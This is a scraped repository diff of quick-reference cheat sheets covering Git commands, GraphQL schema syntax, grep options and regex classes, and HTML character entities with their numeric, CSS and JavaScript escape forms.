||||
``` shell script
|
||||
$ git commit -m "commit message"
|
||||
```
|
||||
|
||||
Commit all your tracked files to versioned history
|
||||
``` shell script
|
||||
$ git commit -am "commit message"
|
||||
```
|
||||
|
||||
Unstages file, keeping the file changes
|
||||
``` shell script
|
||||
$ git reset [file]
|
||||
```
|
||||
|
||||
Revert everything to the last commit
|
||||
``` shell script
|
||||
$ git reset --hard
|
||||
```
|
||||
|
||||
Diff of what is changed but not staged
|
||||
``` shell script
|
||||
$ git diff
|
||||
```
|
||||
|
||||
Diff of what is staged but not yet commited
|
||||
``` shell script
|
||||
$ git diff --staged
|
||||
```
|
||||
|
||||
Apply any commits of current branch ahead of specified one
|
||||
``` shell script
|
||||
$ git rebase [branch]
|
||||
```
|
||||
|
||||
|
||||
### Configuration
|
||||
|
||||
Set the name that will be attached to your commits and tags
|
||||
``` shell script
|
||||
$ git config --global user.name "name"
|
||||
```
|
||||
|
||||
Set an email address that will be attached to your commits and tags
|
||||
``` shell script
|
||||
$ git config --global user.email "email"
|
||||
```
|
||||
|
||||
Enable some colorization of Git output
|
||||
``` shell script
|
||||
$ git config --global color.ui auto
|
||||
```
|
||||
|
||||
Edit the global configuration file in a text editor
|
||||
``` shell script
|
||||
$ git config --global --edit
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Working with Branches
|
||||
|
||||
List all local branches
|
||||
``` shell script
|
||||
$ git branch
|
||||
```
|
||||
|
||||
List all branches, local and remote
|
||||
``` shell script
|
||||
$ git branch -av
|
||||
```
|
||||
|
||||
Switch to my_branch, and update working directory
|
||||
``` shell script
|
||||
$ git checkout my_branch
|
||||
```
|
||||
|
||||
Create a new branch called new_branch
|
||||
``` shell script
|
||||
$ git checkout -b new_branch
|
||||
```
|
||||
|
||||
Delete the branch called my_branch
|
||||
``` shell script
|
||||
$ git branch -d my_branch
|
||||
```
|
||||
|
||||
Merge branchA into branchB
|
||||
``` shell script
|
||||
$ git checkout branchB
|
||||
$ git merge branchA
|
||||
```
|
||||
|
||||
Tag the current commit
|
||||
``` shell script
|
||||
$ git tag my_tag
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Observe your Repository
|
||||
Show the commit history for the currently active branch
|
||||
``` shell script
|
||||
$ git log
|
||||
```
|
||||
Show the commits on branchA that are not on branchB
|
||||
``` shell script
|
||||
$ git log branchB..branchA
|
||||
```
|
||||
Show the commits that changed file, even across renames
|
||||
``` shell script
|
||||
$ git log --follow [file]
|
||||
```
|
||||
Show the diff of what is in branchA that is not in branchB
|
||||
``` shell script
|
||||
$ git diff branchB...branchA
|
||||
```
|
||||
Show any object in Git in human-readable format
|
||||
``` shell script
|
||||
$ git show [SHA]
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Synchronize
|
||||
|
||||
Fetch down all the branches from that Git remote
|
||||
``` shell script
|
||||
$ git fetch [alias]
|
||||
```
|
||||
|
||||
Merge a remote branch into your current branch to bring it up to date
|
||||
``` shell script
|
||||
$ git merge [alias]/[branch]
|
||||
# No fast-forward
|
||||
$ git merge --no-ff [alias]/[branch]
|
||||
# Only fast-forward
|
||||
$ git merge --ff-only [alias]/[branch]
|
||||
```
|
||||
|
||||
Transmit local branch commits to the remote repository branch
|
||||
``` shell script
|
||||
$ git push [alias] [branch]
|
||||
```
|
||||
|
||||
Fetch and merge any commits from the tracking remote branch
|
||||
``` shell script
|
||||
$ git pull
|
||||
```
|
||||
|
||||
Merge just one specific commit from another branch to your current branch
|
||||
``` shell script
|
||||
$ git cherry-pick [commit_id]
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
### Remote
|
||||
Add a git URL as an alias
|
||||
``` shell script
|
||||
$ git remote add [alias] [url]
|
||||
```
|
||||
|
||||
Show the names of the remote repositories you've set up
|
||||
``` shell script
|
||||
$ git remote
|
||||
```
|
||||
|
||||
Show the names and URLs of the remote repositories
|
||||
``` shell script
|
||||
$ git remote -v
|
||||
```
|
||||
|
||||
Remove a remote repository
|
||||
``` shell script
|
||||
$ git remote rm [remote repo name]
|
||||
```
|
||||
|
||||
Change the URL of the git repo
|
||||
``` shell script
|
||||
$ git remote set-url origin [git_url]
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Temporary Commits
|
||||
|
||||
Save modified and staged changes
|
||||
``` shell script
|
||||
$ git stash
|
||||
```
|
||||
|
||||
List stack-order of stashed file changes
|
||||
``` shell script
|
||||
$ git stash list
|
||||
```
|
||||
|
||||
Write working from top of stash stack
|
||||
``` shell script
|
||||
$ git stash pop
|
||||
```
|
||||
|
||||
Discard the changes from top of stash stack
|
||||
``` shell script
|
||||
$ git stash drop
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
### Tracking path Changes
|
||||
Delete the file from project and stage the removal for commit
|
||||
``` shell script
|
||||
$ git rm [file]
|
||||
```
|
||||
|
||||
Change an existing file path and stage the move
|
||||
``` shell script
|
||||
$ git mv [existing-path] [new-path]
|
||||
```
|
||||
|
||||
Show all commit logs with indication of any paths that moved
|
||||
``` shell script
|
||||
$ git log --stat -M
|
||||
```
|
||||
|
||||
|
||||
### Ignoring Files
|
||||
|
||||
```
|
||||
/logs/*
|
||||
|
||||
# "!" means don't ignore
|
||||
!logs/.gitkeep
|
||||
|
||||
/# Ignore Mac system files
|
||||
.DS_store
|
||||
|
||||
# Ignore node_modules folder
|
||||
node_modules
|
||||
|
||||
# Ignore SASS config files
|
||||
.sass-cache
|
||||
```
|
||||
A `.gitignore` file specifies intentionally untracked files that Git should ignore
|
||||
|
||||
|
||||
|
||||
Git Tricks {.cols-3}
|
||||
------
|
||||
|
||||
### Rename branch
|
||||
- #### **Renamed** to `new_name`
|
||||
```shell script
|
||||
$ git branch -m <new_name>
|
||||
```
|
||||
- #### **Push** and reset
|
||||
```shell script
|
||||
$ git push origin -u <new_name>
|
||||
```
|
||||
- #### **Delete** remote branch
|
||||
```shell script
|
||||
$ git push origin --delete <old>
|
||||
```
|
||||
{.style-timeline}
|
||||
|
||||
|
||||
### Log
|
||||
Search change by content
|
||||
```shell script
|
||||
$ git log -S'<a term in the source>'
|
||||
```
|
||||
Show changes over time for specific file
|
||||
```shell script
|
||||
$ git log -p <file_name>
|
||||
```
|
||||
Print out a cool visualization of your log
|
||||
```shell script {.wrap}
|
||||
$ git log --pretty=oneline --graph --decorate --all
|
||||
```
|
||||
|
||||
### Branch {.row-span-2}
|
||||
List all branches and their upstreams
|
||||
```shell script
|
||||
$ git branch -vv
|
||||
```
|
||||
Quickly switch to the previous branch
|
||||
```shell script
|
||||
$ git checkout -
|
||||
```
|
||||
Get only remote branches
|
||||
```shell script
|
||||
$ git branch -r
|
||||
```
|
||||
Checkout a single file from another branch
|
||||
```shell script
|
||||
$ git checkout <branch> -- <file>
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Commit
|
||||
Rewrite last commit message
|
||||
```shell script
|
||||
$ git commit -v --amend
|
||||
```
|
||||
|
||||
|
||||
### Git Aliases
|
||||
```cmd
|
||||
git config --global alias.co checkout
|
||||
git config --global alias.br branch
|
||||
git config --global alias.ci commit
|
||||
git config --global alias.st status
|
||||
```
|
||||
See also: [More Aliases](https://gist.github.com/johnpolacek/69604a1f6861129ef088)
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,206 @@
|
||||
---
|
||||
title: GraphQL
|
||||
date: 2021-07-15 20:51:44
|
||||
icon: icon-graphql
|
||||
background: bg-[#cc44a2]
|
||||
tags:
|
||||
- query
|
||||
- API
|
||||
categories:
|
||||
- Programming
|
||||
intro: |
|
||||
This quick reference cheat sheet provides a brief overview of GraphQL.
|
||||
---
|
||||
|
||||
|
||||
Getting started {.cols-3}
|
||||
--------
|
||||
|
||||
### Overview
|
||||
|
||||
- An alternative approach to RESTful APIs
|
||||
- GraphQL is a query language for APIs
|
||||
- Easily describe the shape of the GraphQL API using clear shared terms.
|
||||
- Clients issue queries/mutations to read and update data
|
||||
- GraphQL syntax can express complex entity relations
|
||||
- Libraries to implement GraphQL in [different languages](https://graphql.org/code/)
|
||||
|
||||
[GraphQL](https://graphql.org/)
|
||||
{.link-arrow}
|
||||
|
||||
|
||||
### Schema
|
||||
|
||||
| | |
|
||||
|----------------|----------------------------------|
|
||||
| `schema` | GraphQL schema definition |
|
||||
| `query` | Read and traverse data |
|
||||
| `mutation` | Modify data or trigger an action |
|
||||
| `subscription` | Run a query when an event occurs |
|
||||
|
||||
|
||||
|
||||
### Built-in Scalar Types
|
||||
|
||||
| | |
|
||||
|-----------|----------------------------------------------|
|
||||
| `Int` | Signed 32‐bit integer |
|
||||
| `Float` | Signed double-precision floating-point value |
|
||||
| `String` | UTF‐8 character sequence |
|
||||
| `Boolean` | true or false |
|
||||
| `ID` | A Unique identifier |
|
||||
|
||||
|
||||
|
||||
### Type Definitions
|
||||
|
||||
| | |
|
||||
|-------------|-------------------|
|
||||
| `scalar` | Scalar Type |
|
||||
| `type` | Object Type |
|
||||
| `interface` | Interface Type |
|
||||
| `union` | Union Type |
|
||||
| `enum` | Enum Type |
|
||||
| `input` | Input Object Type |
|
||||
|
||||
|
||||
|
||||
### Type Modifiers
|
||||
|
||||
| | |
|
||||
|--------------|-----------------------------------|
|
||||
| `String` | Nullable String |
|
||||
| `String!` | Non-null String |
|
||||
| `[String]` | List of nullable Strings |
|
||||
| `[String]!` | Non-null list of nullable Strings |
|
||||
| `[String!]!` | Non-null list of non-null Strings |
|
||||
|
||||
|
||||
### Input Arguments {.row-span-2}
|
||||
#### Basic Input
|
||||
```js
|
||||
type Query {
|
||||
users(limit: Int): [User]
|
||||
}
|
||||
```
|
||||
|
||||
#### Input with default value
|
||||
```js
|
||||
type Query {
|
||||
users(limit: Int = 10): [User]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
#### Input with multiple arguments
|
||||
```js
|
||||
type Query {
|
||||
users(limit: Int, sort: String): [User]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
#### Input with multiple arguments and default values
|
||||
|
||||
```js {.wrap}
|
||||
type Query {
|
||||
users(limit: Int = 10, sort: String): [User]
|
||||
}
|
||||
type Query {
|
||||
users(limit: Int, sort: String = "asc"): [User]
|
||||
}
|
||||
type Query {
|
||||
users(limit: Int = 10, sort: String = "asc"): [User]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### Input Types
|
||||
|
||||
|
||||
```js
|
||||
input ListUsersInput {
|
||||
limit: Int
|
||||
since_id: ID
|
||||
}
|
||||
```
|
||||
|
||||
```js
|
||||
type Mutation {
|
||||
users(params: ListUsersInput): [User]!
|
||||
}
|
||||
```
|
||||
|
||||
### Custom Scalars
|
||||
|
||||
|
||||
```js
|
||||
scalar Url
|
||||
type User {
|
||||
name: String
|
||||
homepage: Url
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### Interfaces
|
||||
|
||||
```js
|
||||
interface Foo {
|
||||
is_foo: Boolean
|
||||
}
|
||||
interface Goo {
|
||||
is_goo: Boolean
|
||||
}
|
||||
type Bar implements Foo {
|
||||
is_foo: Boolean
|
||||
is_bar: Boolean
|
||||
}
|
||||
type Baz implements Foo, Goo {
|
||||
is_foo: Boolean
|
||||
is_goo: Boolean
|
||||
is_baz: Boolean
|
||||
}
|
||||
```
|
||||
Object implementing one or more Interfaces
|
||||
|
||||
|
||||
### Unions
|
||||
|
||||
```js
|
||||
type Foo {
|
||||
name: String
|
||||
}
|
||||
type Bar {
|
||||
is_bar: String
|
||||
}
|
||||
union SingleUnion = Foo
|
||||
union MultipleUnion = Foo | Bar
|
||||
type Root {
|
||||
single: SingleUnion
|
||||
multiple: MultipleUnion
|
||||
}
|
||||
```
|
||||
Union of one or more Objects
|
||||
|
||||
|
||||
### Enums
|
||||
|
||||
```js {.wrap}
|
||||
enum USER_STATE {
|
||||
NOT_FOUND
|
||||
ACTIVE
|
||||
INACTIVE
|
||||
SUSPENDED
|
||||
}
|
||||
type Root {
|
||||
stateForUser(userID: ID!): USER_STATE!
|
||||
users(state: USER_STATE, limit: Int = 10): [User]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
Also see
|
||||
-------
|
||||
* [GraphQL Schema Language Cheat Sheet](https://github.com/sogko/graphql-schema-language-cheat-sheet) _(github.com)_
|
||||
@@ -0,0 +1,113 @@
|
||||
---
|
||||
title: Grep
|
||||
date: 2020-11-25 18:28:43
|
||||
icon: icon-grep
|
||||
background: bg-emerald-400
|
||||
tags:
|
||||
- egrep
|
||||
- search
|
||||
- pattern
|
||||
- text
|
||||
categories:
|
||||
- Linux Command
|
||||
intro: This cheat sheet is intended to be a quick reminder for the main concepts involved in using the command line program grep and assumes you already understand its usage.
|
||||
---
|
||||
|
||||
Getting started {.cols-5}
|
||||
---------------
|
||||
|
||||
### Usage {.col-span-2}
|
||||
Search standard output (i.e. a stream of text)
|
||||
```shell script
|
||||
$ grep [options] search_string
|
||||
```
|
||||
|
||||
Search for an exact string in file:
|
||||
```shell script
|
||||
$ grep [options] search_string path/to/file
|
||||
```
|
||||
|
||||
Print lines in myfile.txt containing the string "mellon"
|
||||
```shell script
|
||||
$ grep 'mellon' myfile.txt
|
||||
```
|
||||
|
||||
Wildcards are accepted in filename.
|
||||
|
||||
|
||||
|
||||
|
||||
### Option examples {.col-span-3}
|
||||
|
||||
| Option | Example | Operation |
|
||||
|--------|---------------------------------------|------------------------------------------------------|
|
||||
| `-i` | grep -i ^DA demo.txt | Forgets about case sensitivity |
|
||||
| `-w` | grep -w "of" demo.txt | Search only for the full word |
|
||||
| `-A` | grep -A 3 'Exception' error.log | Display 3 lines after matching string |
|
||||
| `-B` | grep -B 4 'Exception' error.log | Display 4 lines before matching string |
|
||||
| `-C` | grep -C 5 'Exception' error.log | Display 5 lines around matching string |
|
||||
| `-r` | grep -r 'quickref.me' /var/log/nginx/ | Recursive search _(within subdirs)_ |
|
||||
| `-v` | grep -v 'warning' /var/log/syslog | Return all lines which don't match the pattern |
|
||||
| `-e` | grep -e '^al' filename | Use regex _(lines starting with 'al')_ |
|
||||
| `-E` | grep -E 'ja(s\|cks)on' filename | Extended regex _(lines containing jason or jackson)_ |
|
||||
| `-c` | grep -c 'error' /var/log/syslog | Count the number of matches |
|
||||
| `-l` | grep -l 'robot' /var/log/* | Print the name of the file(s) of matches |
|
||||
| `-o` | grep -o search_string filename | Only show the matching part of the string |
|
||||
| `-n` | grep -n "go" demo.txt | Show the line numbers of the matches |
|
||||
|
||||
|
||||
Grep regular expressions {.cols-3}
|
||||
---------------
|
||||
|
||||
### Refer
|
||||
- [Regex syntax](/regex) _(quickref.me)_
|
||||
- [Regex examples](/regex#regex-examples) _(quickref.me)_
|
||||
|
||||
Please refer to the full version of the regex cheat sheet for more complex requirements.
|
||||
|
||||
### Wildcards
|
||||
|
||||
| - | - |
|
||||
|-----------------|----------------------------------------|
|
||||
| . | Any character. |
|
||||
| `? ` | Optional and can only occur once. |
|
||||
| `* ` | Optional and can occur more than once. |
|
||||
| `+ ` | Required and can occur more than once. |
|
||||
|
||||
### Quantifiers
|
||||
|
||||
| - | - |
|
||||
|-----------------|----------------------------------------------|
|
||||
| `{n} ` | Previous item appears exactly n times. |
|
||||
| `{n,} ` | Previous item appears n times or more. |
|
||||
| `{,m} ` | Previous item appears n times maximum. |
|
||||
| `{n,m} ` | Previous item appears between n and m times. |
|
||||
|
||||
### POSIX
|
||||
| - | - |
|
||||
|-----------------|-------------------------------------------|
|
||||
| `[:alpha:] ` | Any lower and upper case letter. |
|
||||
| `[:digit:] ` | Any number. |
|
||||
| `[:alnum:] ` | Any lower and upper case letter or digit. |
|
||||
| `[:space:] ` | Any whitespace. |
|
||||
|
||||
### Character
|
||||
|
||||
| - | - |
|
||||
|-----------------|-------------------------------------------|
|
||||
| `[A-Za-z] ` | Any lower and upper case letter. |
|
||||
| `[0-9] ` | Any number. |
|
||||
| `[0-9A-Za-z]` | Any lower and upper case letter or digit. |
|
||||
|
||||
|
||||
### Position
|
||||
|
||||
| | |
|
||||
|------|--------------------|
|
||||
| `^ ` | Beginning of line. |
|
||||
| `$ ` | End of line. |
|
||||
| `^$` | Empty line. |
|
||||
| `\<` | Start of word. |
|
||||
| `\>` | End of word. |
|
||||
|
||||
|
||||
@@ -0,0 +1,424 @@
|
||||
---
|
||||
title: HTML Characters Entities
|
||||
date: 2022-01-13 11:44:21
|
||||
tags:
|
||||
- html
|
||||
- code
|
||||
- characters
|
||||
categories:
|
||||
- Other
|
||||
intro: |
|
||||
This cheatsheet is a complete list of HTML entities with their numbers and names. Also included is a full list of ASCII characters that can be represented in HTML.
|
||||
---
|
||||
|
||||
|
||||
HTML Character Entity References {.cols-1}
|
||||
---------------
|
||||
|
||||
|
||||
|
||||
|
||||
### HTML Special Characters
|
||||
|
||||
| HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) |
|
||||
|----------------|--------------|--------------|--------------------------|-----------------|-------------------|---------------------|
|
||||
| `"` | " | `"` | quotation mark | u+0022 ISOnum | \\0022 | <a href='javascript:alert("\42")'>\42</a> |
|
||||
| `#` | # | `#` | number sign | u+0023 ISOnum | \\0023 | <a href='javascript:alert("\43")'>\43</a> |
|
||||
| `$` | $ | `$` | dollar sign | u+0024 ISOnum | \\0024 | <a href='javascript:alert("\44")'>\44</a> |
|
||||
| `%` | % | `%` | percent sign | u+0025 ISOnum | \\0025 | <a href='javascript:alert("\45")'>\45</a> |
|
||||
| `&` | & | `&` | ampersand | u+0026 ISOnum | \\0026 | <a href='javascript:alert("\46")'>\46</a> |
|
||||
| `'` | ' | `'` | apostrophe | u+0027 ISOnum | \\0027 | <a href='javascript:alert("\47")'>\47</a> |
|
||||
| `(` | ( | `(` | left parenthesis | u+0028 ISOnum | \\0028 | <a href='javascript:alert("\50")'>\50</a> |
|
||||
| `)` | ) | `)` | right parenthesis | u+0029 ISOnum | \\0029 | <a href='javascript:alert("\51")'>\51</a> |
|
||||
| `*` | * | `*` | asterisk | u+002A ISOnum | \\002a | <a href='javascript:alert("\52")'>\52</a> |
|
||||
| `+` | + | `+` | plus sign | u+002B ISOnum | \\002b | <a href='javascript:alert("\53")'>\53</a> |
|
||||
| `,` | , | `,` | comma | u+002C ISOnum | \\002c | <a href='javascript:alert("\54")'>\54</a> |
|
||||
| `−` | - | `-` | hyphen-minus | u+002D ISOnum | \\002d | <a href='javascript:alert("\55")'>\55</a> |
|
||||
| `.` | . | `.` | full stop; period | u+002E ISOnum | \\002e | <a href='javascript:alert("\56")'>\56</a> |
|
||||
| `/` | / | `/` | solidus; slash | u+002F ISOnum | \\002f | <a href='javascript:alert("\57")'>\57</a> |
|
||||
| `:` | : | `:` | colon | u+003A ISOnum | \\003a | <a href='javascript:alert("\72")'>\72</a> |
|
||||
| `;` | ; | `;` | semicolon | u+003B ISOnum | \\003b | <a href='javascript:alert("\73")'>\73</a> |
|
||||
| `<` | < | `<` | less-than | u+003C ISOnum | \\003c | <a href='javascript:alert("\74")'>\74</a> |
|
||||
| `=` | = | `=` | equals | u+003D ISOnum | \\003d | <a href='javascript:alert("\75")'>\75</a> |
|
||||
| `>` | > | `>` | greater-than sign | u+003E ISOnum | \\003e | <a href='javascript:alert("\76")'>\76</a> |
|
||||
| `?` | ? | `?` | question mark | u+003F ISOnum | \\003f | <a href='javascript:alert("\77")'>\77</a> |
|
||||
| `@` | @ | `@` | at sign; commercial at | u+0040 ISOnum | \\0040 | <a href='javascript:alert("\100")'>\100</a> |
|
||||
| `[` | [ | `[` | left square bracket | u+005B ISOnum | \\005b | <a href='javascript:alert("\133")'>\133</a> |
|
||||
| `\` | \ | `\` | backslash | u+005C ISOnum | \\005c | <a href='javascript:alert("\134")'>\134</a> |
|
||||
| `]` | ] | `]` | right square bracket | u+005D ISOnum | \\005d | <a href='javascript:alert("\135")'>\135</a> |
|
||||
| `^` | ^ | `^` | circumflex accent | u+005E ISOnum | \\005e | <a href='javascript:alert("\136")'>\136</a> |
|
||||
| `_` | _ | `_` | low line | u+005F ISOnum | \\005f | <a href='javascript:alert("\137")'>\137</a> |
|
||||
| ``` | ` | ``` | grave accent | u+0060 ISOnum | \\0060 | <a href='javascript:alert("\u0060")'>\u0060</a> |
|
||||
| `{` | { | `{` | left curly bracket | u+007b ISOnum | \\007b | <a href='javascript:alert("\173")'>\173</a> |
|
||||
| `|` | \| | `|` | vertical bar | u+007c ISOnum | \\007c | <a href='javascript:alert("\174")'>\174</a> |
|
||||
| `}` | } | `}` | right curly bracket | u+007d ISOnum | \\007d | <a href='javascript:alert("\175")'>\175</a> |
|
||||
| | ~ | `~` | tilde | u+007e ISOnum | \\007e | <a href='javascript:alert("\176")'>\176</a> |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### HTML Latin
|
||||
|
||||
|
||||
| HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) |
|
||||
|----------------|----------|----------------|---------------------------------------|----------|-----------|---------------------|
|
||||
| ` ` | | ` ` | no-break space | %A0 | \\00a0 | <a href='javascript:alert("\240")'>\240</a> |
|
||||
| `¡` | ¡ | `¡` | inverted exclamation mark | %A1 | \\00a1 | <a href='javascript:alert("\241")'>\241</a> |
|
||||
| `¢` | ¢ | `¢` | cent sign | %A2 | \\00a2 | <a href='javascript:alert("\242")'>\242</a> |
|
||||
| `£` | £ | `£` | pound sterling sign | %A3 | \\00a3 | <a href='javascript:alert("\243")'>\243</a> |
|
||||
| `¤` | ¤ | `¤` | general currency sign | %A4 | \\00a4 | <a href='javascript:alert("\244")'>\244</a> |
|
||||
| `¥` | ¥ | `¥` | yen sign | %A5 | \\00a5 | <a href='javascript:alert("\245")'>\245</a> |
|
||||
| `₹` | ₹ | `₹` | Indian Rupee (INR) sign | U+20B9 | \\20B9 | <a href='javascript:alert("\u20B9")'>\u20B9</a> |
|
||||
| `¦` | ¦ | `¦` | broken (vertical) bar | %A6 | \\00a6 | <a href='javascript:alert("\246")'>\246</a> |
|
||||
| `§` | § | `§` | section sign | %A7 | \\00a7 | <a href='javascript:alert("\247")'>\247</a> |
|
||||
| `¨` | ¨ | `¨` | umlaut (dieresis) | %A8 | \\00a8 | <a href='javascript:alert("\250")'>\250</a> |
|
||||
| `©` | © | `©` | copyright sign | %A9 | \\00a9 | <a href='javascript:alert("\251")'>\251</a> |
|
||||
| `ª` | ª | `ª` | ordinal indicator, feminine | %AA | \\00aa | <a href='javascript:alert("\252")'>\252</a> |
|
||||
| `«` | « | `«` | angle quotation mark, left | %AB | \\00ab | <a href='javascript:alert("\253")'>\253</a> |
|
||||
| `¬` | ¬ | `¬` | not sign | %AC | \\00ac | <a href='javascript:alert("\254")'>\254</a> |
|
||||
| `­` | | `­` | soft hyphen | %AD | \\00ad | <a href='javascript:alert("\255")'>\255</a> |
|
||||
| `®` | ® | `®` | registered sign | %AE | \\00ae | <a href='javascript:alert("\256")'>\256</a> |
|
||||
| `¯` | ¯ | `¯` | macron | %AF | \\00af | <a href='javascript:alert("\257")'>\257</a> |
|
||||
| `°` | ° | `°` | degree sign | %B0 | \\00b0 | <a href='javascript:alert("\260")'>\260</a> |
|
||||
| `±` | ± | `±` | plus-or-minus sign | %B1 | \\00b1 | <a href='javascript:alert("\261")'>\261</a> |
|
||||
| `²` | ² | `²` | superscript two | %B2 | \\00b2 | <a href='javascript:alert("\262")'>\262</a> |
|
||||
| `³` | ³ | `³` | superscript three | %B3 | \\00b3 | <a href='javascript:alert("\263")'>\263</a> |
|
||||
| `´` | ´ | `´` | acute accent | %B4 | \\00b4 | <a href='javascript:alert("\264")'>\264</a> |
|
||||
| `µ` | µ | `µ` | micro sign | %B5 | \\00b5 | <a href='javascript:alert("\265")'>\265</a> |
|
||||
| `¶` | ¶ | `¶` | pilcrow (paragraph sign) | %B6 | \\00b6 | <a href='javascript:alert("\266")'>\266</a> |
|
||||
| `·` | · | `·` | middle dot | %B7 | \\00b7 | <a href='javascript:alert("\267")'>\267</a> |
|
||||
| `¸` | ¸ | `¸` | cedilla | %B8 | \\00b8 | <a href='javascript:alert("\270")'>\270</a> |
|
||||
| `¹` | ¹ | `¹` | superscript one | %B9 | \\00b9 | <a href='javascript:alert("\271")'>\271</a> |
|
||||
| `º` | º | `º` | ordinal indicator, masculine | %BA | \\00ba | <a href='javascript:alert("\272")'>\272</a> |
|
||||
| `»` | » | `»` | angle quotation mark, right | %BB | \\00bb | <a href='javascript:alert("\273")'>\273</a> |
|
||||
| `¼` | ¼ | `¼` | fraction one-quarter | %BC | \\00bc | <a href='javascript:alert("\274")'>\274</a> |
|
||||
| `½` | ½ | `½` | fraction one-half | %BD | \\00bd | <a href='javascript:alert("\275")'>\275</a> |
|
||||
| `¾` | ¾ | `¾` | fraction three-quarters | %BE | \\00be | <a href='javascript:alert("\276")'>\276</a> |
|
||||
| `¿` | ¿ | `¿` | inverted question mark | %BF | \\00bf | <a href='javascript:alert("\277")'>\277</a> |
|
||||
| `À` | À | `À` | capital A, grave accent | %C0 | \\00c0 | <a href='javascript:alert("\300")'>\300</a> |
|
||||
| `Á` | Á | `Á` | capital A, acute accent | %C1 | \\00c1 | <a href='javascript:alert("\301")'>\301</a> |
|
||||
| `Â` | Â | `Â ;` | capital A, circumflex accent | %C2 | \\00c2 | <a href='javascript:alert("\302")'>\302</a> |
|
||||
| `Ã` | Ã | `Ã` | capital A, tilde | %C3 | \\00c3 | <a href='javascript:alert("\303")'>\303</a> |
|
||||
| `Ä` | Ä | `Ä` | capital A, dieresis or umlaut mark | %C4 | \\00c4 | <a href='javascript:alert("\304")'>\304</a> |
|
||||
| `Å` | Å | `Å` | capital A, ring | %C5 | \\00c5 | <a href='javascript:alert("\305")'>\305</a> |
|
||||
| `Æ` | Æ | `Æ` | capital AE diphthong (ligature) | %C6 | \\00c6 | <a href='javascript:alert("\306")'>\306</a> |
|
||||
| `Ç` | Ç | `Ç` | capital C, cedilla | %C7 | \\00c7 | <a href='javascript:alert("\307")'>\307</a> |
|
||||
| `È` | È | `È` | capital E, grave accent | %C8 | \\00c8 | <a href='javascript:alert("\310")'>\310</a> |
|
||||
| `É` | É | `É` | capital E, acute accent | %C9 | \\00c9 | <a href='javascript:alert("\311")'>\311</a> |
|
||||
| `Ê` | Ê | `Ê` | capital E, circumflex accent | %CA | \\00ca | <a href='javascript:alert("\312")'>\312</a> |
|
||||
| `Ë` | Ë | `Ë` | capital E, dieresis or umlaut mark | %CB | \\00cb | <a href='javascript:alert("\313")'>\313</a> |
|
||||
| `Ì` | Ì | `Ì` | capital I, grave accent | %CC | \\00cc | <a href='javascript:alert("\314")'>\314</a> |
|
||||
| `Í` | Í | `Í` | capital I, acute accent | %CD | \\00cd | <a href='javascript:alert("\315")'>\315</a> |
|
||||
| `Î` | Î | `Î` | capital I, circumflex accent | %CE | \\00ce | <a href='javascript:alert("\316")'>\316</a> |
|
||||
| `Ï` | Ï | `Ï` | capital I, dieresis or umlaut mark | %CF | \\00cf | <a href='javascript:alert("\317")'>\317</a> |
|
||||
| `Ð` | Ð | `Ð` | capital Eth, Icelandic | %D0 | \\00d0 | <a href='javascript:alert("\320")'>\320</a> |
|
||||
| `Ñ` | Ñ | `Ñ` | capital N, tilde | %D1 | \\00d1 | <a href='javascript:alert("\321")'>\321</a> |
|
||||
| `Ò` | Ò | `Ò` | capital O, grave accent | %D2 | \\00d2 | <a href='javascript:alert("\322")'>\322</a> |
|
||||
| `Ó` | Ó | `Ó` | capital O, acute accent | %D3 | \\00d3 | <a href='javascript:alert("\323")'>\323</a> |
|
||||
| `Ô` | Ô | `Ô` | capital O, circumflex accent | %D4 | \\00d4 | <a href='javascript:alert("\324")'>\324</a> |
|
||||
| `Õ` | Õ | `Õ` | capital O, tilde | %D5 | \\00d5 | <a href='javascript:alert("\325")'>\325</a> |
|
||||
| `Ö` | Ö | `Ö` | capital O, dieresis or umlaut mark | %D6 | \\00d6 | <a href='javascript:alert("\326")'>\326</a> |
|
||||
| `×` | × | `×` | multiply sign | %D7 | \\00d7 | <a href='javascript:alert("\327")'>\327</a> |
|
||||
| `Ø` | Ø | `Ø` | capital O, slash | %D8 | \\00d8 | <a href='javascript:alert("\330")'>\330</a> |
|
||||
| `Ù` | Ù | `Ù` | capital U, grave accent | %D9 | \\00d9 | <a href='javascript:alert("\331")'>\331</a> |
|
||||
| `Ú` | Ú | `Ú` | capital U, acute accent | %DA | \\00da | <a href='javascript:alert("\332")'>\332</a> |
|
||||
| `Û` | Û | `Û` | capital U, circumflex accent | %DB | \\00db | <a href='javascript:alert("\333")'>\333</a> |
|
||||
| `Ü` | Ü | `Ü` | capital U, dieresis or umlaut mark | %DC | \\00dc | <a href='javascript:alert("\334")'>\334</a> |
|
||||
| `Ý` | Ý | `Ý` | capital Y, acute accent | %DD | \\00dd | <a href='javascript:alert("\335")'>\335</a> |
|
||||
| `Þ` | Þ | `Þ` | capital THORN, Icelandic | %DE | \\00de | <a href='javascript:alert("\336")'>\336</a> |
|
||||
| `ß` | ß | `ß` | small sharp s, German (sz ligature) | %DF | \\00df | <a href='javascript:alert("\337")'>\337</a> |
|
||||
| `à` | à | `à` | small a, grave accent | %E0 | \\00e0 | <a href='javascript:alert("\340")'>\340</a> |
|
||||
| `á` | á | `á` | small a, acute accent | %E1 | \\00e1 | <a href='javascript:alert("\341")'>\341</a> |
|
||||
| `â` | â | `â` | small a, circumflex accent | %E2 | \\00e2 | <a href='javascript:alert("\342")'>\342</a> |
|
||||
| `ã` | ã | `ã` | small a, tilde | %E3 | \\00e3 | <a href='javascript:alert("\343")'>\343</a> |
|
||||
| `ä` | ä | `ä` | small a, dieresis or umlaut mark | %E4 | \\00e4 | <a href='javascript:alert("\344")'>\344</a> |
|
||||
